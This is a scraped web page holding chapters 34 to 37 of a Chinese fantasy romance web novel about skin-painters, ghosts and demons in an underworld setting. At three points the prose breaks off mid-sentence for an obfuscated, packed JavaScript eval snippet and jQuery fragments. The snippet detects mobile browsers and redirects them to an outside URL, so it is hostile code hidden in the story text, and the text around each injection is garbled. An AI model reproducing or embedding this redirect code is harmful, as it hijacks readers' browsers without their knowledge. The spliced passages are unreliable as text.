“在此之前,我要给我的作品找到一颗完美的眼珠子,你有没有兴趣同我一起去找。”宋清河邀约道。 “去哪里找?”百灵果然被勾起了兴趣。 “在幽都的西边,冥界和妖界交界的地方,有个底下洞穴,听说那里藏着很多上好琥珀。” 无论一个画皮师的技艺有多么高超,都难以捏出一对有神采的眼睛,而这点睛之笔,恰恰是让假人看起来“活过来”的重要一环。 “我去。”百灵毫不犹豫地答应。 在这一点上,两人有着不言而喻的默契。 “可是那里很危险,听说洞穴底下还有妖怪,你不害怕吗?”宋清河坦诚将风险托出。 “这有什么的,大不了没条胳膊手臂,回来自己补上不就是了。” 与一枚稀世琥珀眼珠相比,再大的风险似乎都值得一冒。 “我说的不是这个。”宋清河摇头,神色凝重,“若是被妖物掳去妖界,越了边界,你我便只能落得魂飞魄散的下场。” 百灵垂眸沉思片刻,再抬眼时,眸中已是一片决然:“试都不试,怎么知道行不行?说不定我们既能寻得琥珀,又能全身而退。” 她已经被这个诱惑冲昏了头脑。 毕竟,她已经拥有了一枚绝世珍品,周延玉的妖丹所化的琥珀。如今迫切需要的,正是另一枚能与它相配的眼珠。 宋清河的邀约,来得正是时候。 34. 第 34 章 夜晚,无忧阁。 白夭夭在一间檀香萦绕的房间里,坐立不安。 她记得这个味道,是叶知舟房里最爱点的香,也是那天她在假扮新娘子时闻到的气味。 在她正前方,叶知舟正垂眸抚琴,修长的手指在琴弦间游走,仿佛全然不觉她的存在。 白夭夭快烦死了,是叶知舟要她来汇报工作,结果来了又一句话都不说,把她当成空气人。 到底谁要欣赏他的琴声啊? 和讨厌的人共处一室,多待一秒都是种折磨。 “我走了。”白夭夭站起身,大声宣告着她要离开,打破了凝滞的氛围。 尾音才一落下,就听见“嘣”的一声,琴弦断开,琴声也戛然而止。 那根断弦在烛光下微微颤动,反射出一点寒光。 叶知舟缓缓抬起头,没由来问了一句:“你不喜欢吗?” “不喜欢,难听死了。”白夭夭还是依旧不给叶知舟面子,下巴微抬,带着显而易见的挑衅。 “我不是说这个。”叶知舟云淡风轻笑了一声,“我给你安排的婚礼,不喜欢吗?” 白夭夭沉默了。 她深吸一口气,胸腔微微起伏。 她其实一早也猜到叶知舟要她前来的目的,是关于那场冥婚。 她同样也有疑惑想问叶知舟,不然也不会耐着性子听他弹琴。 “你安排的很好很逼真。”白夭夭又坐了回去,话中带刺道,“但你细节做得不够到位,那是个没有香火的破庙,哪来的檀香?” “你的记性还真不错。”叶知舟抬手轻轻抚摸那根断了的弦,“这么久的事都记得。” “我怎么会忘呢?”白夭夭仰起下颌,目光落在叶知舟的脸上,语气中夹杂着淡淡的忧伤,“那曾是我的家……” 叶知舟抚琴的手蓦地一滞。 而后他又恢复如常,用他惯用的漫不经心的语调说道:“现在这也是你的家啊。” 闻言,白夭夭嫌弃地将目光从他脸上挪开。 “行了,叶知舟,别打哑谜了,我们敞开天窗说亮话吧,是他让你安排的这些吗?” 这个“他”自然指的是小五,她曾经的家人。 白夭夭苦思冥想了一个晚上,最后得到的结果就是,小五或许认识叶知舟,很有可能是他们二人之间有什么合作。 如果说当年小五离开白夭夭,真的过上了他想象中人上人的生活,那么能和叶知舟这样的人认识,也并不奇怪。 白夭夭猜测,也许他真的过上了想象中的生活,但仍然不满意,可能是日子过得太过顺风顺水,再也不用担心生计,因此感觉生活有些无趣枯燥了。 所以他通过叶知舟找到了自己,想重温一下曾经那段苦日子,让自己更珍惜当下的来之不易。 “夭夭,我怎么听不懂你在说什么?”叶知舟一脸无措看向她。 “别装了,你知道我是什么意思,除了他,没有第二个人知道破庙里面是什么样子的。”白夭夭毫不留情戳穿了他拙劣的表演。 “你这么聪明,我就知道瞒不过你。”叶知舟慢悠悠道,“事情其实很简单,他就是有些想你了而已。” 想……想我了? 白夭夭垂眸,内心五味杂陈。 她分不清这是叶知舟在传达小五的话,还是他自己在胡言乱语。 “那你替我告诉他,我可一点都不想他。” 无论如何,白夭夭不想再跟小五有过多纠缠。 从他义无反顾走的那一天开始,白夭夭就下定决心,要彻底把这个人从自己的生命中抹去。 “是吗?”叶知舟质疑道,“可是我怎么记得你认出了那个小孩,还主动叫了他的名字。” “这是两回事,我又没有失忆当然记得他,我记得他不代表我想他。”白夭夭接着补刀,“就像我以后也一定记得你,但是我很讨厌你。” “现在谈论的事情和我无关,请你不要把气撒到无辜的人身上,好吗?”叶知舟难得外露出自己不悦的情绪。 “可以,你继续吧,他还有什么想说的?”成功把叶知舟招惹生气,白夭夭很是得意。 “他还托我想来看看你如今过得怎么样?”叶知舟接着充当他们二人之间的传话筒。 “还能怎么样,不就这样吗?该吃吃该喝喝该睡睡,哪像他呀,麻雀飞上枝头变凤凰了。”白夭夭控制不了自己,一出口就是满嘴的尖酸刻薄。 “看起来,你好像很讨厌他呢?” 如此明晃晃的厌恶,叶知舟却又要明知故问。 “我不是讨厌他,我是恨他。”白夭夭语气又加重了几分,“你告诉他,要走就走得干脆利落,别再来烦我。” “何必如此动气呢?”叶知舟安抚道,“也许当年的事另有隐情,他也是不得已而为之啊……” “叶老板,我想你就不用多管闲事了吧,被背叛和伤害的人是我,你没有资格在这里说这种风凉话,老老实实地传达我的意思就行。” 白夭夭心中愈加烦闷,也不知道小五是给了叶知舟的好处,费劲给她搭了这么一场戏。 有本事就直接出来和她当面对峙,躲在后面当什么胆小鬼。 “当然,你的话我会原封不动地转告他,只是他后续要怎么做,我也没办法控制。”叶知舟话锋一转,“依我看,他可能不会轻易放过你。” “放过我?”白夭夭气极反笑,“我没上门寻仇就不错了好吗?他还想对我怎么样?” 她气得中途缓了一口气,又道:“真是笑话,他还逮着我不放了,要不是当初我好心收留他,他早就不知道上哪去了?” “你说的有道理,其实我也曾经劝他收手,只是他执迷不悟而已。”叶之舟善解人意,将自己放在了白夭夭的立场,“你放心吧,我会好好劝他的。” “难得你说了一句人话。”白夭夭怒火稍微平息了一些。 “其实这事还有更好的解决方法,只是不知道你愿不愿意尝试。”叶知舟蛊惑道。 “你别卖关子了,直接说吧。” “别急嘛……”叶知舟露出一抹得逞的浅笑,“在这之前,我想先让你见一个人。” “谁啊?” 白夭夭话音刚落,就听见沉重敦实的脚步声在耳边响起。 抬眼一看,来人正是大虎。 “叶老板。”他先向叶知舟恭敬问好。 “大虎,我要给你介绍一个人。”叶知舟边说边指向白夭夭,“她叫白夭夭,我的得力助手,以后由你来负责保护这个人的安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069654|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 危。” “是,明白了。”大虎只轻飘飘撇了白夭夭一眼,又将视线收回前方,“叶老板还有别的吩咐吗?” “没了,你下去吧。” 白夭夭震惊目睹全程,这大虎怎么跟变了个人似的? 而且从前他们只要一见面,大虎的视线就会一直黏在她脸上,可现在竟然可以做到目不斜视,就好像从来不认识她这个人一样。 “你对他做了什么?” 白夭夭看向叶知舟,突然觉得眼前这个人很恐怖。 “怎么样?”叶知舟并未直接回答她的问题,自顾自回应道,“他现在看上去是不是比以前好多了。” 虽然白夭夭也不喜欢大虎,但从一个熟悉的样子变成一个陌生人,肯定也不是什么好事。 “更重要的是……”叶知舟接着补充,“他以后再也不会骚扰你了。” “你到底对他做了什么?”白夭夭再次质问,声线稍微有点发颤。 叶知舟笑而不语,只缓缓走向桌边,接着端起桌上的茶盏,抬手示意白夭夭。 “那是什么东西?让人失了神智的水吗?”白夭夭警惕打量举止令人捉摸不透的叶知舟。 “没这么厉害,是忘情水。”叶知舟盯着茶盏解释道,“大虎对你念念不忘,喝下去就将你忘的一干二净。” “所以你是想让我喝下这个水,忘记他吗?”白夭夭恍然大悟。 “聪明。”叶知舟笑着点头,随后挪动脚步,向她靠近。 “你如此恨他,这是消解你恨意最好的办法。”叶知舟将水送到她身前,“只要你在心中一直默想他,然后立刻喝下去,我保证他立刻从你脑中灰飞烟灭。” 白夭夭一动不动,视线紧紧锁定那杯忘情水,犹豫不定。 ……她真的要把小五忘记吗? 彻彻底底从她生命中抹去吗? 即使她的恨意是真的,也偶尔在梦中想起小五,醒来总是怒气冲冲,埋怨他为何要入梦。 可真的有忘记小五的机会摆在她面前时,她却动摇了。 “机会可只有一次。”叶知舟引诱道。 叶知舟的蛊惑显然对大虎这种人更有效。 摇摆不定的白夭夭忽然开始思考,叶知舟他想干什么? 他肯定没安好心主动给自己喝什么忘情水。 那是小五的要求,也不可能啊,一杯水能解决的事情何必绕着大一个弯子,他完全可以自己喝了忘记她啊。 这水必不简单,说不定喝下去不仅忘了小五,连其他记忆都一并消失,然后叶知舟就能顺理成章对她进行洗脑。 她早就惹恼叶知舟数回了,他定是想借此机会狠狠报复回来。 整理好思路,她最终做出了决定。 “我不喝。” 叶知舟轻笑一声,仍旧劝阻道,“你确定?” “我确定。” “你不恨他吗?不想忘记他吗?”叶知舟追问,身体不着痕迹地向前倾了半分。 白夭夭反而更加坚定了不喝的念头。 “你再这么问下去,我要考虑一下是不是得先把你这个烦人精先给忘了。” 叶知舟怔了怔,随即朗声大笑,将茶盏搁在案上,杯中水随之晃动,映出他晦暗不明的目光。 35. 第 35 章 冥界,奈何桥边,忘川河畔。 “霜叶,此次任务事关重大,务必完成。” 隐匿在黑暗之中的霜叶,正通过手中的骨片和远方的周玄玉进行沟通。 “我知道。”霜叶惜字如金,“说重点。” “……”对面沉默片刻,才出声说:“忘川河的中心有凶兽和鬼差把手,不过今夜子时鬼差换防,你需得抓住时机。” “明白。”霜叶言简意赅。 “不到万不得已,切不可现出原型。”周玄玉叮嘱道。 霜叶正在思索如何悄悄潜入,并未及时做出回应。 周玄玉错解了她的意思,又找补道:“虽然不现原型很难对付那凶兽,但……” 话音未落,霜叶伸手捏碎了骨片,主动结束了对话。 “啰嗦。”她抖抖手心的碎片,不耐烦道。 霜叶此行的目的,是要将由妖丹炼化的子母石中的子石投入忘川河的中心,从而神不知鬼不觉偷取忘川河水。 夜色渐浓,她也蓄势待发。 子时临近,恰好有一队鬼差路过奈何桥边,他们正押送着一批鬼魂前往投胎轮回。 “百姐姐,马上就要投胎转世重新做人了,你怎么还愁眉苦脸的?” 队伍中,一个少女朝着她身侧的另一位较为成熟的女性道。 “我只是觉得很奇怪,明明我们早该转世的,可他们却找尽了借口拖到了现在,要不是前几日有人聚众闹事,恐怕我们还无法转世为人……” 那位被称作“百姐姐”的人缓声开口解释。 “没事的都过去了,我们现在不是可以了吗?而且我们马上会喝孟婆水忘记这一切,你很快就好了。”少女安慰道。 “但愿吧。” “百姐姐,我们这队伍里还有几个犯事的囚犯呢。”少女用手指向队伍的末端,“你看见没,就是那几个手脚都戴着链子的,我听说他们啊,都被打入了畜生道,真是因果报应。” “囚犯吗?他们怎么会和我们在一个队伍里……” “不知道,可能一起运送省事吧,这些鬼差也是够懒得。”少女猜测道。 “可我们去的也不是一个地方啊,转世为人和畜生怎么会在一起轮回呢?” “有道理哦,不过我们这不才刚开始吗,说不定一会就分开了。” “……” 淡淡绿光在夜色中若隐若现,潜伏在侧的霜叶终于动了。 凭借本能的极致速度与精准,霜叶如一道黑色闪电掠过队伍尾翼。 只见寒光一闪,她精准切断了捆绑鬼魂的锁链镣铐,而后毫不停留,消失在阴影中。 锁链断裂,那群凶恶的囚徒们先是一愣,随即狂喜地四散奔逃,攻击身边碍事的无辜鬼混和尚未反应过来的鬼差,原本有序的阵型也因此瞬间乱作一团。 “囚犯反了!快拦住他们!一个都不能少!” 场面彻底失控,发疯兴奋的囚犯、惊恐逃窜的鬼魂还有慌乱试图控制场面却无济于事的鬼差们共同上演了一场真实的闹剧。 而这背后的罪魁祸首,早已趁着内乱穿过人群,紧贴着忘川河陡峭的崖壁疾驰,身影在翻涌的河面雾气中若隐若现。 不消片刻,她就来到了忘川河中心地带的边缘,传闻中的失魂湾。 所有鬼魂投胎转世均需喝下孟婆水忘却一切,然后渡过奈何桥,方可投胎转世。 而这孟婆水便是由这失魂湾中的忘川水所熬制而成的。 子母石相互感应而又互补,子石负责吸取储存,母石负责向外输出。 一吞一吐,取之不尽,用之不竭。 投入石子的动作很简单,不过弹指一挥,镇守中心的凶兽才算今夜最大的敌人。 隐匿在石壁后面的霜叶,正蹙眉凝视眼前这头可怕的对手。 这凶兽体型并不算大,长约五尺,但是让她颇为棘手的是它头上那根一尺长的尖角,没法硬碰硬,她只能小心避开。 霜叶尚且还没想好对策,敏感的猛兽显然是嗅到了陌生的气息,突然从半趴着的姿势站了起来。 它口中喘着粗气,圆盘大的眼珠左右转动,黝黑的鼻头不停耸动,寻找气息的来源。 它来回巡视,最终锁定了霜叶所在的方向,摆出战斗的姿态,小心翼翼提起爪子越靠越近。 没有时间犹豫了!霜叶信手掷出一枚石子,试图声东击西。 然而凶兽只是瞥去一眼,喉间发出低沉的威吓,步步紧逼的步伐丝毫未缓。 试探失败,霜叶五指已悄然按上腰间弯刀的刀柄。 距离,在瞬息间归零。凶兽后肢猛然蹬地,化作一道腥风扑来! “轰——!” 石壁应声粉碎。在尖角即将触及身体的刹那,霜叶腰肢轻折,以一个极其惊险的角度堪堪避过。 劲风掠过面门,刺得肌肤生疼,余光中瞥见那尖角在半空划过,她心底一寒,若被此角捅穿,即便不死,也必遭重创。 接下来的一刻钟里,一人一兽好似斗牛般你追我闪,凶兽一次次狂暴冲撞,霜叶则如鬼魅般腾挪闪避。 一直躲闪落于下风的霜叶明白她暂时近不了身,只能等待寻找时机。 又是一记猛烈冲击,霜叶尝试拔刀刺向凶兽,可它皮肤粗糙厚重,不仅没能刺伤它,反而弯刀还被强大的后坐力弹飞了。 久攻不下,反遭挑衅,凶兽的怒火被彻底点燃,它再次猛扑而来,而这一次,霜叶在侧身闪避的瞬间,足尖猛地蹬地,借力旋身,如一片轻盈的落叶出其不意攀上了兽背。 她双腿死死钳住其肋腹,双手则紧紧抱住了那根致命锐角的根部。 “吼!” 被骑乘的屈辱让凶兽陷入狂怒。它猛地人立而起,将霜叶几乎甩脱,又高高跃起,试图利用坠地的冲击将她震落。 霜叶只觉得五脏六腑都错了位,耳中嗡鸣不止,全靠一股意志将身体牢牢锁在兽背之上。 这么一番折腾下来,一人一兽皆是身心俱疲。 几番折腾无果,凶兽竟侧身轰然倒地,欲以千钧之躯将她碾压在地。 霜叶瞳孔一缩,单掌在兽背上猛地一按,身形如鲤鱼般弹射而起,凌空翻转,稳稳落地。 甫一站定,她便感到四肢一阵酸软,方才的角逐,已耗去了她大半气力。 那凶兽早已回过身来,直直凝视着她。 她深吸一口气,一个大胆的计划在脑中成型。 她朝凶兽发出一声挑衅的交换,果然,被愤怒支配的对手再次埋头冲来。 历史重演,她再次跃上兽背。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076007|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 当凶兽再次依靠本能奋力跃至最高点时,霜叶松开了抱角的手,全身力量瞬间灌注于腰腿,仅凭单手握住尖角稳住身形。 在凶兽达到抛物线顶点,即将下坠的那个瞬间,她眼中寒光一闪。 就是现在! 她骤然松手,身体借下落之势□□,左手紧锁右手手腕,将全身的重量与下坠的势力合而为一,手肘如战锤般,精准无比地猛砸在凶兽脆弱的左眼上。 “噗哧!” 眼珠爆裂,血水混着黏液喷溅而出。 凶兽发出一声撕心裂肺的惨嚎,庞大的身躯疯狂扭动,终于将霜叶狠狠甩飞出去。 她重重砸落在地,尘土飞扬,但比起那捂眼哀嚎、痛楚疯狂的对手,她已占了上风。 然而,野兽临死前的反扑才最为可怕。 独眼的凶兽将所有的痛苦化为仇恨,以同归于尽的气势,低着头,将尖角化作最后的长矛,撕裂空气,直撞而来。 速度太快!霜叶这回虽侥幸躲过,但一侧的肩膀却被抓伤了,火辣辣的疼刺激着她高度紧绷的神经,剧痛如火燎般蔓延。 不能再一味躲避了,毕竟她的体力是耗不过这大块头的。 霜叶眸中妖光骤亮,低喝一声,将周身妖力尽数逼出体外。 暗红色的妖气如沸腾的火焰在她身前翻涌、凝聚,硬生生形成一道凝实的屏障。 凶兽自恃强大,不闪不避,尖角悍然撞入妖气之中。 “轰!” 妖气屏障剧烈震颤,虽未立刻破碎,却让霜叶如遭重击,喉头一甜,强行外放妖力抵御这种冲击,对她而言亦是巨大的负担。 霜叶被震得气血翻腾,体力快到极限,而正在这时,她余光瞥见了地上那柄被弹飞的弯刀。 “咔嚓”一声,屏障彻底裂开。 生与死的选择,只在毫厘之间。 凶兽的血盆大口已近在眼前,腥热的吐息喷在她的脸上。 近在咫尺,避无可避。 退,就是死。 霜叶的眼神骤然变得冰冷而决绝。 她飞速拾起弯刀,再次起身时,那獠牙已咬入自己的手臂,骨骼碎裂的声音清晰可闻。 与此同时,她强忍剧痛,将手中的弯刀,化作一道复仇的银光,顺着巨口,精准而狠戾地直贯入凶兽的咽喉深处。 一切戛然而止。 一记沉重闷哼后,那凶兽轰然倒地,彻底没了声息。 唯有霜叶独立在地。 一条手臂几乎被废,鲜血顺着手臂淋漓而下,滴落在寂静的地面上。 她赢了。 一场惨胜。 …… “百姐姐,我们也太倒霉了吧,好不容易轮到我们,关键时刻又出岔子了。” 混乱过后,原本要进入轮回转世的鬼魂暂时被遣返等待。 “这也许不是什么坏事。” “百姐姐你心态也太好了吧,按我们冥界的龟速,谁知道下一次会是什么时候?”少女抱怨道。 “至少我们没有趁乱被那几个囚犯袭击。”她顿住,双眉皱起,“我总觉得那几个囚犯很奇怪……” “是啊,那锁链怎么突破断开了,难道是那几个囚犯的同伙吗?” “等等看他们怎么解释吧。” 36. 第 36 章 自从那日见过叶知舟后,白夭夭当日就梦见了小五。 梦见了他们曾经一次相互赌气。 卖艺乞讨所能够赚的辛苦钱并不稳定,为了增加收入,小五靠着自己姣好乖巧的皮相讨好那些偶尔路过的贵妇人。 最后他成功攀上了一位因独子夭折寻求心灵慰藉的夫人,想法设法成为她的义子。 果不其然,夫人既认他作义子,便不许他再流落街头卖艺,为他寻了份清闲体面的差事,至少衣食无忧。 那时的夭夭,仍固执地在街头卖艺。而小五为了在新家站稳脚跟,终日早出晚归。两人之间,便因此生出了看不见的隔阂。 这夜,小五又是深夜方归。他轻唤了两声“夭夭”。 白夭夭不想理他,假装睡着了。 其实她早就没理他了,只是他们鲜少有沟通,没那么明显而已。 “夭夭,我知道你没睡。”小五拿过了一个蒲团,垫在身下,以一个跪姿俯在夭夭身侧低语。 白夭夭仍然装聋作哑。 “……你理理我,好吗?”小五姿态放得更低,伸手欲触摸夭夭的胳膊。 “别碰我!”白夭夭猛地缩回手臂,依旧背对着他,声音里带着嗔怒,“有本事你就永远别回来。” “我怎么可能不回来……”小五挪动身子,又凑近些,语气里带着恳求,“是我错了,不该这么晚回,你原谅我,好不好?” “原谅你?”白夭夭压抑的情绪再难抑制,话语里透出尖利的嘲讽,“我一个小乞丐,哪有资格原谅您这位大少爷?” 小五没有立刻反驳,只是像被抽干了力气般,瘫坐在地,深深叹了口气。 白夭夭以为他是在同自己置气,心头火起,猛地坐起身,手指向门外:“不乐意待就滚出去!我这寒酸地方,容不下你!” 小五摇了摇头,没有动,只是慢慢伸出手,牵住了她垂在身侧的那只冰凉的手。 夭夭刚要挣扎,他却似早有预料,五指收拢,将她的手腕稳稳扣住。 “你放……”她才吐出两个字,便感到手背上一片沁凉的触感。 低头一看,是小五正为她涂抹药膏。 那药膏带着淡淡的草木气息,在他指尖融化,又被他用指腹极尽温柔地,在她生着冻疮、粗糙红肿的手指上缓缓晕开。 “好多铺子都打烊了,我跑了好远才买到的。”他声音轻柔,“从我第一次见你,就发誓,总有一天要让你手上的冻疮全都消失。” “现在,总算能做到了……”他抬起头,眼底含着清浅的笑意,望着一脸错愕的白夭夭。 “你别以为这种小花招对我有用。”白夭夭下意识回避他的视线,手却没有抽回来,“我还是不会原谅你的。” “所有人都可以误解我、诋毁我,”小五为她涂好药,手却并未松开,反而自然地将她的手拢在掌心,拇指在她刚被滋润过的皮肤上轻轻摩挲着,“唯独你不行。” 这细微的亲昵,像带着无声的安抚,竟奇异地抚平了夭夭心头的几分焦躁。 “我听不懂你在说什么。”她别开脸,继续装傻。 “你听得懂。”小五轻易戳穿她的伪装,“我知道外面有些关于我的流言,是我没有及时和你解释清楚,才让你心生怨气。” 白夭夭自然知道他话中说的流言指的是什么。 他们说小五攀上高枝要结束流浪远走高飞了,还说他不择手段,当面一套背后一套,像条狗一样舔着脸去讨好人家。 对于这些话,她一开始坚决不信,可时间长了,加上小五又不怎么同她说话,也就半信半疑了。 “我承认,我是不择手段,也用尽了心机。”小五说得异常坦然,“可我做的每一件事,出发点都不单单是为了我自己。” 小五如此直白,倒让白夭夭不知作何回应了。 “夭夭,在你心目中,我究竟是个什么样的人。”小五忽然问道。 “我不知道。”白夭夭再次选择了逃避。 她知道小五想让自己说什么,可她不愿意说。 “无论是我生前还是现在,所有人我通通不在意。”小五步步紧逼,眼神炽热,“只有你,我只在意你。” “够了。”白夭夭终于开始正面回应,“你口口声声说在意我,可你其实更在意你自己吧,自从你的好娘亲给你打点好一切,你就已经不想再跟我一起卖艺吃苦了,我都知道的。” “我发誓,我从来都没有想过要离开你。” 小五信誓旦旦:“义子的身份对我来说不过是逢场作戏罢了,我心里自始至终只有你这一个亲人。” “何必解释这么多?”白夭夭轻叹道,“你不想吃苦不想流浪,这些我可以理解,因为我也是迫不得已才走上了这条路。” “我是不想吃苦,可我更不想我们俩一起吃苦,不想你吃苦,你明白吗?”小五情绪有些失控,语气也变得急促。 “我不想看见你大冬天为了讨一口吃的把手冻烂,不想看见你夜里翻来覆去睡不着觉,不想看见有人调戏你,不想看见你受伤流泪,更不想失去你……” 说到“失去”二字时,他的声音已然哽咽。 白夭夭也被他这一番发自内心的真情流露所打动,眼眶中不知不觉蓄满了泪花。 小五用他仅剩的那只手,将即将决堤的白夭夭抱住。 倔强如夭夭,此刻也只能将脸埋在他单薄的肩头,任由几滴滚烫的泪,无声地落下。 “答应我,以后不要委屈自己了好吗?”小五轻抚她的脊背,声音是前所未有的温柔,“我已经安排好了,有个还算安稳的住处,很暖和。你随我一起去,好不好?” “嗯……”白夭夭把脸埋得更深,带着浓重的鼻音,含糊地应着。 “相信我,我们以后的生活,会越来越好的。” “嗯。” “你曾经不是说过,我们俩谁也不要离开彼此,否则主动走的那个人会天打雷劈,遇到这个世上最狠的报应,还记得吗?” “记得。” “那我要再加上一条,以后你不许再怀疑我,我们谁也不许再生彼此的气,好吗?” “好。”白夭夭像一只顺毛的小猫。 靠在小五并不宽厚却令人安心的肩窝里,她感受到一种全然的依赖与满足。 “夭夭,你是我的,我也是你的,对吗?” “嗯。”回应他时,白夭夭有些恍惚。 她虽然把小五当作家人,但似乎他已经超越了家人这个身份。 时间不知过去了多久,她好像趴在小五肩膀上睡着了。 半梦半醒间,感到小五扶着她缓缓躺下。她不愿离开那令人贪恋的温暖,迷迷糊糊地伸手拽住他的衣袖。 小五顺从地被她拉近,两人的面庞瞬间近在咫尺。 气息交融,夭夭感到一阵温暖的安心,却又在某一瞬,仿佛闻到了他身上传来一缕极淡的、陌生的冷冽檀香。 她努力想睁开眼看清,用力撑开一道缝隙,触手可及的那张脸,竟赫然变成了叶知舟。 “啊!” 她惊叫一声,从梦中醒来。 心口仍在剧烈地跳动。 太可怕了,叶知舟竟会闯入她的梦里,这真是个老鼠屎坏了一锅汤的噩梦。 …… “你真的确定要去吗?” “那里很危险,到时候出事了你可别怨我没有拦住你。” “你就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079473|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是要去,那也没必要深夜出行啊,等到白天不行吗?” 周延玉绕在百灵身旁,劝说的话东一句西一句,苦口婆心。 而百灵早已充耳不闻,只埋头清点行装,将物件一件件收拢。 “你到底有没有听到我在说话?”周延玉上前几步,拦下她手中忙碌不停的动作,“好歹回应我一声。” “夜深了,请你早点回去睡觉吧,别再管我了,好吗?”百灵推开他阻挠的手。 自从他跟周延玉说了要同宋清河一起寻找琥珀的事,他就一直坚持不懈地劝阻她不要去。 “不行,你是我的盟友,为了合作能继续,我不能不管。”周延玉依旧坚持,“至少让我送送你们吧,晚上太危险了。” “不用了,我们三个人同时离开,太容易惹人怀疑了。”百灵当即拒绝,“我和宋小姐一起还能伪装成她的仆人,你就别掺和进来了。” “百灵,你真的清楚那是个什么地方吗?”周延玉见她这般固执,按耐不住质问道。 “我非常清楚,我也很明白自己在做什么。”百灵也逐渐烦躁,“你就放心好了,我会活着回来的,承诺过要给你的身体也会做好的。” “这不是身体的事。”周延玉下意识回应,“你能不能想想更重要的事,比如你……” 比如你自己的安危。 周延玉想说的话并未说完,就被百灵截住了。 “比如你的命。”百灵无奈一声叹息,“我怎么会蠢到把你的心脏一起带出去呢,早就被我放在一个很安全的地方,你就放一百个心吧。” “……我。”周延玉被堵的没话说。 他没想到百灵能为了区区的一块石头,冒如此大的风险。 妖鬼交界处危机四伏,即便是失去躯壳妖力受损的妖怪,对付她和宋清河两个人也是绰绰有余。 他绝对不允许,在所有事情尚未水落石出之前,他选择的盟友,中途离他而去。 “麻烦让让。”百灵收拾好包袱,对着站在门口挡路的周延玉道,“我不在的这些日子,我的这些行李,你可得看好了。” 明白百灵的性子,他知道自己越阻拦百灵反而会越坚定,只能不情不愿地让开。 百灵露出一个得意的笑容,拉门准备离开。 左脚才刚踏出去,她忽然是想到了什么,毫无征兆地转过身。 随后无比自然抓住了周延玉的手。 “你这是……”周延玉的表情又呆愣转为庆幸,“你是改变主意了,要带上我一起去吗?” 有他在,百灵一定安然无恙。 “当然不是了。”百灵捏了捏他的手心,笑道,“你快传给我点妖力。” “……”百灵的话像一盆冷水一样浇了下来。 无可奈何,他只能照做。 “能不能快点啊?她还在外面等着我呢。”百灵催促道。 大概是想多给她些妖力,百灵发现这次时间明显更长。 “有没有别的方法能快一点。”百灵边说边摸索着行动,顺势拉过他另一只空闲的手,“这样呢?” 她的猜测没错,她和周延玉相互接触的两只手都温温热热的。 她心念一动,索性更进一步,张开双臂环住了他的腰身。 后者身体倏然僵直,在百灵视线不及之处,耳根悄悄漫上热意。 百灵全无所觉,还好心地拍了拍他的背,带着些许歉意:“对不住,你这副身子用料普通,抱着是有些硬邦邦的。” 她顿了顿,声音轻快起来: “不过等我回来,你就能拥有这世间最最好看的一对眼睛了。” 原来……她愿意冒着生命危险去找琥珀,是为了给他做眼睛吗? 37. 第 37 章 出去时,宋清河已等候多时。 “怎么磨蹭了一会?”她幽幽问道,“有人舍不得你走?” “谁会舍不得我走。”百灵笑了,“临时收拾行李耽误了些功夫。” “嗯,走吧。”宋清河没再多问,“我叫了马车送我们一程。” “好。”百灵大喜,果然还是大小姐靠谱。 马车一路平稳行驶,车内轻微摇晃,车外寂静无声,叫人昏昏欲睡。 “卫影知道我要远行,似乎很开心。”心事重重的宋清河忽然开启了话题,“可你上次却说他担心伺候不好我。” 瞌睡的百灵瞬间清醒。 “他……他也许是因为别的原因开心。”百灵支支吾吾道。 “别的原因?” “对啊,你看我们都走了,只剩他和小骨了,那他肯定开心啊。” 百灵找到了一个她自己也信服的托词。 “你觉得他对小骨有意思?所以开心可以和他独处吗?” “对啊,这不是很明显吗,卫影他很在乎小骨。”百灵对自己的直觉判断深信不疑。 “他是很在乎,可这种在乎不一定是有意思,也不一定就是喜欢。” 最初宋清河的想法同百灵一致,认为他们二人有猫腻,可渐渐她发觉,卫影一些下意识的维护和担心,更像是僵硬地执行某些既定的动作。 “我倒从没这样想过。”百灵凝眉思忖宋清河的话。 “你再想想,若他真的喜欢小骨,在选到和她配对的角色之时,第一时间所流露出的神情不可能是慌张无措,而是暗自欣喜才对。” 百灵点点头,觉得她说得似乎真有些道理。 “我从小对这感情上的比较迟钝,姐姐常也说我是榆木脑袋。”百灵不好意思道。 “榆木脑袋也未尝不是一件好事。”宋清河若有所思,“想的太多,思虑过重,有时才叫人忧心。” 这回百灵听懂了她的弦外之音,她是在说自己。 “你时常想些什么呢?难不成是相思病?”百灵大胆猜测。 “算是吧……” “哪个不长眼的男人会不喜欢你啊……” 宋清河笑了,摇头道:“感情的事最是讲究缘分,也最是不能强求得来的。” “我觉得吧,看缘分这事没错,但有的时候,事在人为也很重要。” 